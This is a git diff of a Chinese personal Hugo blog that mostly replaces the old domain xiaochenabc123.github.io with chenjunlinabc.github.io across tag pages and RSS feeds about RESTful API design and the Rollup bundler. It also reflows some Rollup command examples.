 状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）
@@ -14,7 +14,7 @@
 HTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）
 如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用
 需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等
-简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://xiaochenabc123.github.io/posts/136/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://chenjunlinabc.github.io/posts/136/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/restful/index.xml b/tags/restful/index.xml
index 4c61350c..9fcd492f 100644
--- a/tags/restful/index.xml
+++ b/tags/restful/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>RESTful on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/restful/</link>
+    <link>https://chenjunlinabc.github.io/tags/restful/</link>
     <description>Recent content in RESTful on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Feb 2022 21:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/restful/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Feb 2022 21:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/restful/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解RESTful设计规范</title>
-      <link>https://xiaochenabc123.github.io/posts/136/</link>
+      <link>https://chenjunlinabc.github.io/posts/136/</link>
       <pubDate>Wed, 16 Feb 2022 21:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/136/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/136/</guid>
       <description>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
diff --git a/tags/restful/page/1/index.html b/tags/restful/page/1/index.html
index 4e8154d7..4c345d80 100644
--- a/tags/restful/page/1/index.html
+++ b/tags/restful/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/restful/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/restful/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/restful/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/restful/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/restful/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/restful/"></head></html>
\ No newline at end of file
diff --git a/tags/rollup/index.html b/tags/rollup/index.html
index d64d7e19..0fd6683e 100644
--- a/tags/rollup/index.html
+++ b/tags/rollup/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Rollup | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/rollup/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/rollup/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rollup"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/rollup/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rollup"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Rollup</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Rollup | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/rollup/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/rollup/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Rollup"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/rollup/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Rollup"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Rollup</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -8,20 +8,15 @@
 查看帮助文档
 rollup –help
 打包使用
-rollup -i index.js
-默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
-还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
-rollup -i index.js --file dist.js --format cjs
-rollup -i index.js --file dist.js --format iife
-打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js –name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://xiaochenabc123.github.io/posts/119/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://chenjunlinabc.github.io/posts/119/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/rollup/index.xml b/tags/rollup/index.xml
index 8462e6d2..55477949 100644
--- a/tags/rollup/index.xml
+++ b/tags/rollup/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Rollup on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/rollup/</link>
+    <link>https://chenjunlinabc.github.io/tags/rollup/</link>
     <description>Recent content in Rollup on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 10 Nov 2021 16:22:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/rollup/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 10 Nov 2021 16:22:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/rollup/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Rollup模块打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/119/</link>
+      <link>https://chenjunlinabc.github.io/posts/119/</link>
       <pubDate>Wed, 10 Nov 2021 16:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/119/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/119/</guid>
       <description>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
@@ -28,10 +28,10 @@ npm install rollup
 查看帮助文档
 rollup &amp;ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&amp;ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
diff --git a/tags/rollup/page/1/index.html b/tags/rollup/page/1/index.html
index 0ff04792..3c9700e9 100644
--- a/tags/rollup/page/1/index.html
+++ b/tags/rollup/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/rollup/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/rollup/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/rollup/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/rollup/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/rollup/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/rollup/"></head></html>
\ No newline at end of file
diff --git a/tags/rss/index.html b/tags/rss/index.html
index 6c4fea86..7c79a316 100644
--- a/tags/rss/index.html
+++ b/tags/rss/index.html
@@ -1,25 +1,11 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>RSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/rss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/rss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="RSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/rss/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="RSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ 